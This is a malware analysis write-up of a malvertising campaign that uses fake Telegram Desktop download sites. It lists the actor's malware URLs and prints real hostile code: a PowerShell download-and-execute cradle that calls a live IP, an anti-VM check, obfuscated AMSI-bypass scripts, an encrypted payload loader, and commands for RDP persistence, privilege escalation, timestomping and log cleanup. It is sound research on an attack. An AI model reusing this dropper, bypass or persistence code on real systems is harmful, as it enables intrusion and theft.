TL:DR
- Attack Vector: PE Files targeting windows users
- Malware Type: Spyware / Stealer
- Campaign: Fake Telegram Desktop Clients
- Infections: At least 2746 Downloads, 129 confirmed second stage downloads for telegramdesktop.com malware
- Campaign Time: ~March 08, 2021
Analysis of an active Telegram malvertising campaign
While browsing the web our research team came across an interesting malvertising campaign.
A change in the privacy terms of the popular chat application WhatsApp has lead to an increased adoption of alternatives such as Threema, Signal and Telegram.
Telegram also provides a desktop clients for most operating systems which allows for comfortable texting while on desktop operating systems.
Let's search for it on google:
This is certainly an interesting ad. Let's investigate it more.
When accessing the link one can find an innocent looking page:
But when investigating the links we see that it replaced the windows binary with malware:
When digging deeper we discovered that this site was only the tip of the iceberg and part of a larger campaign using the same TTP.
Using a TLD checker it was possible to discover three pages that looked exactly the same and followed the same pattern with a replaced windows binary:
Looking at the certificates we can see that they were issued by the same CA and in a similar timeframe:
When checking the whois informations it is noticable that all domains are registered under namecheap.com which makes it highly likely that they are from the same threat actor.
Unfortunately all pages are protected by a WhoisGuard service that hides the admin's identity:
Interestingly one of their pages (telegramdesktop.com) have already been detected and blocked by google chrome:
All three pages have been archived by us:
- https://web.archive.org/web/20210314215652/https://telegramdesktop.org/
- https://web.archive.org/web/20210314215723/https://telegramdesktop.net/
- https://web.archive.org/web/20210314215710/https://telegramdesktop.com/
Analysis telegramdesktop.com site
The .com site distributes it's file over a bitbucker repository (github alternative).
When accessing the repo we can gather some information about infections, dates of the operation as well as other malware samples:
The following files have been found:
- https://bitbucket.org/LLCTRUST/softwarellc/get/31a6a41f7711.zip
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/TelegramInstaller.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/Crycker.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/TelegramInstallerX86.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/RuntimeBroker.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/rxr.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/zxc.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/SoftwareUpdate.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/Discord_x86_Setup.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/TGInstaller.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/TGInstaller.scr
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/DRX.exe
- https://bitbucket.org/LLCTRUST/softwarellc/downloads/SmartScreenUpdater.exe
When checking the commits we find a user called TrustedVarios:
Looking at the raw commit one can see that the email adress of the threat actor is beertmp+dtemn@gmail.com
The actor also had another repository called WaskoTrustedLLC which only contained the telegram installer:
- https://bitbucket.org/LLCTRUST/waskotrustedllc/downloads/TelegramInstaller.exe
The portable link shows a different repository https://bitbucket.org/takax/1/downloads/TelegramInstaller.rar:
This user only has one repository:
As well as one project:
However the repository contains a lot of files:
- https://bitbucket.org/takax/1/downloads/TGInstaller.rar
- https://bitbucket.org/takax/1/downloads/TelegramInstaller.rar
- https://bitbucket.org/takax/1/downloads/RDP.exe
- https://bitbucket.org/takax/1/downloads/TelegramInstaller.exe
- https://bitbucket.org/takax/1/downloads/clr.exe
- https://bitbucket.org/takax/1/downloads/12.bat
A file that seems like a great target for analysis is 12.bat:
1
2
3 | if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
powershell -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQA0AC4AMQA1ADgALgAyADQANQAuADgAOAAvAG0AYQBlAC4AcABzADEAJwApAA==
exit
|
The code is a powershell dropper, let's base64 decode it:
1 | IEX (New-Object Net.Webclient).downloadstring('http://94.158.245.88/mae.ps1')
|
The host is still up so let's download the file:
1
2
3
4
5 | (New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/start.vbs") | out-file $env:temp\start.vbs
(New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/Get-Content.ps1") | out-file $env:temp\Get-Content.ps1
(New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/ready.ps1") | out-file $env:temp\ready.ps1
start-process wscript -args "$env:temp\start.vbs"
|
The start.vbs looks at SMBiosData over WMI which seems to be an Anti-VM technique.
If it is successfull it calls the ready.ps1 file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 | Set tables = GetObject("winmgmts:\\.\root\wmi").ExecQuery _
("SELECT * FROM MSSmBios_RawSMBiosTables")
For Each obj In tables
size=64 * obj.SMBiosData(9) + 64
Next
If size> 128 Then
gju="-eP ByPAsS "
dyf = "powErsHell "+gju+" -F %temp%\ready.ps1"
CreateObject("Wscript.Shell").Run dyf, 0, false
End If
|
The ready.ps1 file seems to be obfuscated a bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 | set-alias yq4s $([char](170-55)+[char](157-56)+[char](171-55)+[char](149-104)+[char](145-48)+[char](208-100)+[char](221-116)+[char](208-111)+[char](235-120))
$8j5w = $executioncontext
$i6l7=$([char](210-105)+[char](162-52)+[char](239-121)+[char](226-115)+[char](226-119)+[char](156-55)+[char](202-103)+[char](164-53)+[char](209-100)+[char](207-98)+[char](216-119)+[char](213-103)+[char](208-108))
$e7zp=$([char](155-54)+[char](227-107)+[char](162-50)+[char](197-100)+[char](160-50)+[char](216-116)+[char](214-99)+[char](226-110)+[char](234-120)+[char](202-97)+[char](207-97)+[char](152-49))
$jgl8h=$8j5w.$i6l7.$e7zp($([char](203-98)+[char](231-121)+[char](218-100)+[char](225-114)+[char](213-106)+[char](215-114)+[char](155-110)+[char](149-48)+[char](169-49)+[char](165-53)+[char](222-108)+[char](150-49)+[char](218-103)+[char](224-109)+[char](205-100)+[char](231-120)+[char](166-56)))
$fuapm = $([char]13+[char]10+[char]13+[char]10+[char]117+[char]115+[char]105+[char]110+[char]103+[char]32+[char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]59+[char]13+[char]10+[char]117+[char]115+[char]105+[char]110+[char]103+[char]32+[char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]82+[char]117+[char]110+[char]116+[char]105+[char]109+[char]101+[char]46+[char]73+[char]110+[char]116+[char]101+[char]114+[char]111+[char]112+[char]83+[char]101+[char]114+[char]118+[char]105+[char]99+[char]101+[char]115+[char]59+[char]13+[char]10+[char]13+[char]10+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]99+[char]108+[char]97+[char]115+[char]115+[char]32+[char]90+[char]74+[char]97+[char]101+[char]88+[char]82+[char]72+[char]32+[char]123+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]71+[char]101+[char]116+[char]80+[char]114+[char]111+[char]99+[char]65+[char]100+[char]100+[char]114+[char]101+[char]115+[char]115+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]103+[char]112+[char]97+[char]40+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]104+[char]77+[char]111+[char]100+[char]117+[char]108+[char]101+[char]44+[char]32+[char]115+[char]116+[char]114+[char]105+[char]110+[char]103+[char]32+[char]112+[char]114+[char]111+[char]99+[char]78+[char]97+[char]109+[char]101+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]76+[char]111+[char]97+[char]100+[char]76+[char]105+[char]98+[char]114+[char]97+[char]114+[char]121+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]108+[char]108+[char]105+[char]98+[char]40+[char]115+[char]116+[char]114+[char]105+[char]110+[char]103+[char]32+[char]110+[char]97+[char]109+[char]101+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]86+[char]105+[char]114+[char]116+[char]117+[char]97+[char]108+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]98+[char]111+[char]111+[char]108+[char]32+[char]118+[char]112+[char]114+[char]40+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]108+[char]112+[char]65+[char]100+[char]100+[char]114+[char]101+[char]115+[char]115+[char]44+[char]32+[char]85+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]100+[char]119+[char]83+[char]105+[char]122+[char]101+[char]44+[char]32+[char]117+[char]105+[char]110+[char]116+[char]32+[char]102+[char]108+[char]78+[char]101+[char]119+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]44+[char]32+[char]111+[char]117+[char]116+[char]32+[char]117+[char]105+[char]110+[char]116+[char]32+[char]108+[char]112+[char]102+[char]108+[char]79+[char]108+[char]100+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]125+[char]13+[char]10)
Add-Type $fuapm
$hcxku = [ZJaeXRH]::llib($8j5w.$i6l7.$e7zp($([char](202-105)+[char](215-106))) + $8j5w.$i6l7.$e7zp($([char](165-50)+[char](157-52)+[char](102-56)+[char](219-119)+[char](219-111)+[char](158-50))))
$3qsr18w91 = [ZJaeXRH]::gpa($hcxku, $8j5w.$i6l7.$e7zp($([char](173-108)+[char](166-57)+[char](212-97)+[char](220-115))) + $8j5w.$i6l7.$e7zp($([char](203-120)+[char](150-51)+[char](202-105)+[char](224-114))) + $8j5w.$i6l7.$e7zp($([char](123-57)+[char](231-114)+[char](218-116)+[char](220-118)+[char](223-122)+[char](163-49))))
$3qsr1 = 0
[ZJaeXRH]::vpr($3qsr18w91, [uint32]5, (114-50), [ref]$3qsr1)
$huzro = [Byte[]] ((236-52), (199-112), (103-103), (109-102), (225-97), (307-112))
[System.Runtime.InteropServices.Marshal]::Copy($huzro, 0, $3qsr18w91, 6)
iex $env:temp\Get-Content.PS1
|
We can decode it using a small script (for convenience sake we removed all brackets around operations:
1
2
3
4
5
6
7
8
9
10
11
12 | import re
with open("ready.ps1") as file:
data = file.read()
res = re.findall(r'\(.*?\)', data)
out = ""
for i in res:
try:
out += chr(eval(i[1:-1]))
except:
pass
print(out)
|
Which prints the following strings:
1 | set-alias invokecommand expandstring invoke-expression AmsiScanBufferamsi.dll@¸W
|
It seems like an Amsi bypass. The Antimalware Scan Interface (Amsi) is an interface standard to integrate services with antimalware products.
The goal seems to be to bypass AV products before running Get-Content.ps1.
The Get-Content.ps1 file seems similar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44 | set-alias yq4s $([char](170-55)+[char](157-56)+[char](171-55)+[char](149-104)+[char](145-48)+[char](208-100)+[char](221-116)+[char](208-111)+[char](235-120))
$8j5w = $executioncontext
$i6l7=$([char](210-105)+[char](162-52)+[char](239-121)+[char](226-115)+[char](226-119)+[char](156-55)+[char](202-103)+[char](164-53)+[char](209-100)+[char](207-98)+[char](216-119)+[char](213-103)+[char](208-108))
$e7zp=$([char](155-54)+[char](227-107)+[char](162-50)+[char](197-100)+[char](160-50)+[char](216-116)+[char](214-99)+[char](226-110)+[char](234-120)+[char](202-97)+[char](207-97)+[char](152-49))
$jgl8h=$8j5w.$i6l7.$e7zp($([char](203-98)+[char](231-121)+[char](218-100)+[char](225-114)+[char](213-106)+[char](215-114)+[char](155-110)+[char](149-48)+[char](169-49)+[char](165-53)+[char](222-108)+[char](150-49)+[char](218-103)+[char](224-109)+[char](205-100)+[char](231-120)+[char](166-56)))
$fuapm = $([char]13+[char]10+[char]13+[char]10+[char]117+[char]115+[char]105+[char]110+[char]103+[char]32+[char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]59+[char]13+[char]10+[char]117+[char]115+[char]105+[char]110+[char]103+[char]32+[char]83+[char]121+[char]115+[char]116+[char]101+[char]109+[char]46+[char]82+[char]117+[char]110+[char]116+[char]105+[char]109+[char]101+[char]46+[char]73+[char]110+[char]116+[char]101+[char]114+[char]111+[char]112+[char]83+[char]101+[char]114+[char]118+[char]105+[char]99+[char]101+[char]115+[char]59+[char]13+[char]10+[char]13+[char]10+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]99+[char]108+[char]97+[char]115+[char]115+[char]32+[char]90+[char]74+[char]97+[char]101+[char]88+[char]82+[char]72+[char]32+[char]123+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]71+[char]101+[char]116+[char]80+[char]114+[char]111+[char]99+[char]65+[char]100+[char]100+[char]114+[char]101+[char]115+[char]115+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]103+[char]112+[char]97+[char]40+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]104+[char]77+[char]111+[char]100+[char]117+[char]108+[char]101+[char]44+[char]32+[char]115+[char]116+[char]114+[char]105+[char]110+[char]103+[char]32+[char]112+[char]114+[char]111+[char]99+[char]78+[char]97+[char]109+[char]101+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]76+[char]111+[char]97+[char]100+[char]76+[char]105+[char]98+[char]114+[char]97+[char]114+[char]121+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]108+[char]108+[char]105+[char]98+[char]40+[char]115+[char]116+[char]114+[char]105+[char]110+[char]103+[char]32+[char]110+[char]97+[char]109+[char]101+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]91+[char]68+[char]108+[char]108+[char]73+[char]109+[char]112+[char]111+[char]114+[char]116+[char]40+[char]34+[char]107+[char]101+[char]114+[char]110+[char]101+[char]108+[char]51+[char]50+[char]34+[char]44+[char]32+[char]69+[char]110+[char]116+[char]114+[char]121+[char]80+[char]111+[char]105+[char]110+[char]116+[char]61+[char]34+[char]86+[char]105+[char]114+[char]116+[char]117+[char]97+[char]108+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]34+[char]41+[char]93+[char]13+[char]10+[char]32+[char]32+[char]32+[char]32+[char]112+[char]117+[char]98+[char]108+[char]105+[char]99+[char]32+[char]115+[char]116+[char]97+[char]116+[char]105+[char]99+[char]32+[char]101+[char]120+[char]116+[char]101+[char]114+[char]110+[char]32+[char]98+[char]111+[char]111+[char]108+[char]32+[char]118+[char]112+[char]114+[char]40+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]108+[char]112+[char]65+[char]100+[char]100+[char]114+[char]101+[char]115+[char]115+[char]44+[char]32+[char]85+[char]73+[char]110+[char]116+[char]80+[char]116+[char]114+[char]32+[char]100+[char]119+[char]83+[char]105+[char]122+[char]101+[char]44+[char]32+[char]117+[char]105+[char]110+[char]116+[char]32+[char]102+[char]108+[char]78+[char]101+[char]119+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]44+[char]32+[char]111+[char]117+[char]116+[char]32+[char]117+[char]105+[char]110+[char]116+[char]32+[char]108+[char]112+[char]102+[char]108+[char]79+[char]108+[char]100+[char]80+[char]114+[char]111+[char]116+[char]101+[char]99+[char]116+[char]41+[char]59+[char]13+[char]10+[char]13+[char]10+[char]125+[char]13+[char]10)
Add-Type $fuapm
$hcxku = [ZJaeXRH]::llib($8j5w.$i6l7.$e7zp($([char](202-105)+[char](215-106))) + $8j5w.$i6l7.$e7zp($([char](165-50)+[char](157-52)+[char](102-56)+[char](219-119)+[char](219-111)+[char](158-50))))
$3qsr18w91 = [ZJaeXRH]::gpa($hcxku, $8j5w.$i6l7.$e7zp($([char](173-108)+[char](166-57)+[char](212-97)+[char](220-115))) + $8j5w.$i6l7.$e7zp($([char](203-120)+[char](150-51)+[char](202-105)+[char](224-114))) + $8j5w.$i6l7.$e7zp($([char](123-57)+[char](231-114)+[char](218-116)+[char](220-118)+[char](223-122)+[char](163-49))))
$3qsr1 = 0
[ZJaeXRH]::vpr($3qsr18w91, [uint32]5, (114-50), [ref]$3qsr1)
$huzro = [Byte[]] ((236-52), (199-112), (103-103), (109-102), (225-97), (307-112))
[System.Runtime.InteropServices.Marshal]::Copy($huzro, 0, $3qsr18w91, 6)
function svcngnxjld([String] $mfffiodqqc, [String] $slmpshopis, [String] $djjfyveuv, [String] $file, [String] $traert)
{
$sotcschdvz = "SKgZKXBx2b0toIsCKYwM7LudLVt6CPcMvrXBGKe6f1XdpnmZnHdgoycAGhHCDC [Sliced due to size]"
$odjvju4 = New-Object System.Text.ASCIIEncoding;
$wujgeiqzled = $odjvju4.GetBytes("CPFREKVVTXFJWQMI");
$sotcschdvza = [Convert]::FromBase64String($sotcschdvz);
$uzurhg = New-Object System.Security.Cryptography.PasswordDeriveBytes($mfffiodqqc, $odjvju4.GetBytes($slmpshopis), "SHA1", 2);
[Byte[]] $ioptxhzybb = $uzurhg.GetBytes(16);
$qlxmcfbvep = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$qlxmcfbvep.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]] $hvdsbxeqhg = New-Object Byte[]($sotcschdvza.Length);
$gecmqlqxed = $qlxmcfbvep.CreateDecryptor($ioptxhzybb, $wujgeiqzled);
$imhfzqtejg = New-Object System.IO.MemoryStream($sotcschdvza, $True);
$bpcpgowjry = New-Object System.Security.Cryptography.CryptoStream($imhfzqtejg, $gecmqlqxed, [System.Security.Cryptography.CryptoStreamMode]::Read);
$zpchfmdwwk = $bpcpgowjry.Read($hvdsbxeqhg, 0, $hvdsbxeqhg.Length);
$imhfzqtejg.Close();
$bpcpgowjry.Close();
$qlxmcfbvep.Clear();
$r = $hvdsbxeqhg[3..($hvdsbxeqhg.Length-1)];
return $odjvju4.GetString($hvdsbxeqhg);
}
$swzsujyskx = svcngnxjld "sm6nowy0t4p739hui281xljbvqc5eakr" "15hx732n8cwmfyok94rgvid0zaluspej" "15hx732n8cwmfyok94rgvid0zaluspej" "itrt.jpg" "read"
invoke-expression $swzsujyskx
|
The second-stage payload also stards with an amsi bypass:
1 | set-aliasinvokecommandexpandstringinvoke-expressionamsi.dllAmsiScanBuffer@¸W
|
Afterwards it seems to get data out of a triple-des encrypted string:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 | function getcontent([String] $parameter1, [String] $parameter2, [String] $djjfyveuv, [String] $file, [String] $operation)
{
$base64string = [Payload]
$targetbuffer = New-Object System.Text.ASCIIEncoding;
$bytesfromtargetbuffer = $targetbuffer.GetBytes("CPFREKVVTXFJWQMI");
$decoded_b64 = [Convert]::FromBase64String($base64string);
$shapassword = New-Object System.Security.Cryptography.PasswordDeriveBytes($parameter1, $targetbuffer.GetBytes($parameter2), "SHA1", 2);
[Byte[]] $cutshapassword = $shapassword.GetBytes(16);
$tripledes = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;
$tripledes.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]] $b64length = New-Object Byte[]($decoded_b64.Length);
$decryptor = $tripledes.CreateDecryptor($cutshapassword, $bytesfromtargetbuffer);
$decoded_b64stream = New-Object System.IO.MemoryStream($decoded_b64, $True);
$cryptostream = New-Object System.Security.Cryptography.CryptoStream($decoded_b64stream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read);
$cryptostream = $cryptostream.Read($b64length, 0, $b64length.Length);
$decoded_b64stream.Close();
$cryptostream.Close();
$tripledes.Clear();
$r = $b64length[3..($b64length.Length-1)];
return $targetbuffer.GetString($b64length);
}
$commandtoexecute = getcontent "sm6nowy0t4p739hui281xljbvqc5eakr" "15hx732n8cwmfyok94rgvid0zaluspej" "15hx732n8cwmfyok94rgvid0zaluspej" "itrt.jpg" "read"
invoke-expression $commandtoexecute
|
When analysing it dynamically we're able to extract the following commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159 | [System.IntPtr]::Size
if([System.IntPtr]::Size -eq 4){
$giruhabg = $dgiusjeja
$rousjg = "$fldr"+$rf
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
#cat log_settup*.txt|sc 12444.txt
$giruhabg = $otiiahj
$rousjg = "$fldr"+$bf
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
}
else{
$giruhabg = $dgiusjeja64
$rousjg = "$fldr"+$rf
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
#cat log_settup*.txt|sc 12444.txt
$giruhabg = $otiiahj64
$rousjg = "$fldr"+$bf
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
}
$giruhabg = $cfg
$rousjg = "$fldr"+$cf
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
$giruhabg = $clip
$rousjg = "$env:systemroot\system32\rdpclip.exe"
If ((Test-Path $rousjg) -eq $False) {
goeogha31 -giruhabg $giruhabg -rousjg $rousjg }
$giruhabg = $vmt
$rousjg = "$env:systemroot\system32\rfxvmt.dll"
If ((Test-Path $rousjg) -eq $False) {
goeogha31 -giruhabg $giruhabg -rousjg $rousjg
cd $env:systemroot\system32
takeown.exe /A /F rfxvmt.dll
icacls.exe rfxvmt.dll /inheritance:d
icacls.exe rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
icacls.exe rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
icacls.exe rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
icacls.exe rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
#
icacls.exe rfxvmt.dll /remove "BUILTIN\Administrators"
icacls.exe rfxvmt.dll /grant "BUILTIN\Administrators:RX"
}
REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
reg add "HKLM\system\currentcontrolset\services\TermService\parameters" /v ServiceDLL /t REG_EXPAND_SZ /d $fldr$rf /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
#ShowConsole
set-service TermService -StartupType Automatic
#rights
$s = (Get-WmiObject win32_service -filter "Name='TermService'")
$s.Change($null, $null, 16) # 16 = "Own Process"
$group = Gwmi win32_group -Filter "Domain='$env:computername' and SID='S-1-5-32-544'"
$adm = $group.Name
$objSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-20")
$objUser = $objSID.Translate([System.Security.Principal.NTAccount])
$objUser.Value
net localgroup $adm $objUser.Value /add
$env:username | out-file c:\windows\temp\usrnm.txt
$modifyfiles = Get-ChildItem -force "$fldr"
foreach($object in $modifyfiles)
{
$object.CreationTime=("11/11/2014 12:00:00")
$object.LastAccessTime=("11/11/2014 12:00:00")
$object.LastWritetime=("11/11/2014 12:00:00")
}
#Start-sleep -s 10
cmd /c cmd /c net start rdpdr
#Go-Online
#sleep 5
cmd /c cmd /c net start TermService
$f=get-content "$env:temp\uninst.dat.log"
remove-item $env:TEMP\ex.tmp
remove-item $env:TEMP\*.ps1
remove-item $env:TEMP\*.zip
remove-item $env:TEMP\*.exe
cmd /c del %temp%\*.ps1 /f
cmd /c del %temp%\*.txt /f
remove-item $f
}
function Test-Administrator
{
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
}
#Go-Offline
#sleep 5
install;
} else {
$t=Get-WmiObject -Namespace root\wmi -Query "SELECT * FROM MSSmBios_RawSMBiosTables";$s=(64*$t.SMBiosData[9]+64);if($s -le 128){
//Annotation b64 string: gju="-eP ByPAsS " dyf = "powErsHell "+gju+" -F %temp%\ready.ps1" CreateObject("Wscript.Shell").Run dyf, 0, false
#$vb=pasgouta "ZwBqAHUAPQAiAC0AZQBQACAAQgB5AFAAQQBzAFMAIAAiAAoAZAB5AGYAIAA9ACAAIgBwAG8AdwBFAHIAcwBIAGUAbABsACAAIgArAGcAagB1ACsAIgAgAC0ARgAgACUAdABlAG0AcAAlAFwAcgBlAGEAZAB5AC4AcABzADEAIgAKAAoAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAcwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApAC4AUgB1AG4AIABkAHkAZgAsACAAMAAsACAAZgBhAGwAcwBlAA==" "decrypt"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($vb))|out-file "$env:temp\start.vbs";
#write-host exec bp;
#bnsuurh;
}else{
//Annotation b64 string: gju="-eP ByPAsS "dyf = "powErsHell "+gju+" -F %temp%\ready.ps1" CreateObject("Wscript.Shell").Run dyf, 0, false
$vb="ZwBqAHUAPQAiAC0AZQBQACAAQgB5AFAAQQBzAFMAIAAiAAoAZAB5AGYAIAA9ACAAIgBwAG8AdwBFAHIAcwBIAGUAbABsACAAIgArAGcAagB1ACsAIgAgAC0ARgAgACUAdABlAG0AcAAlAFwAcgBlAGEAZAB5AC4AcABzADEAIgAKAAoAQwByAGUAYQB0AGUATwBiAGoAZQBjAHQAKAAiAFcAcwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAIgApAC4AUgB1AG4AIABkAHkAZgAsACAAMAAsACAAZgBhAGwAcwBlAA=="
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($vb))|out-file "$env:temp\start.vbs";
write-host exec bp;
bnsuurh;
}
}??????
|
As we can see the malware establishes persistence over the RDP service.
It also hides it's changes using the timestomping technique and tries to gather administrative privileges.
Spyse.com identified the host to be a shared hosting in Moldova.
The web service promotes itself that it takes Bitcoin as payment option so it seems like a great hosting for criminals.
Spyse found additional sites with the same portal, but both seem to be down by the time of this writeup:
Looking at domains with the same A record illustrates that the threat actors probably used a shared hosting plan:
Analysis telegramdesktop.com malware (TGInstaller.exe)
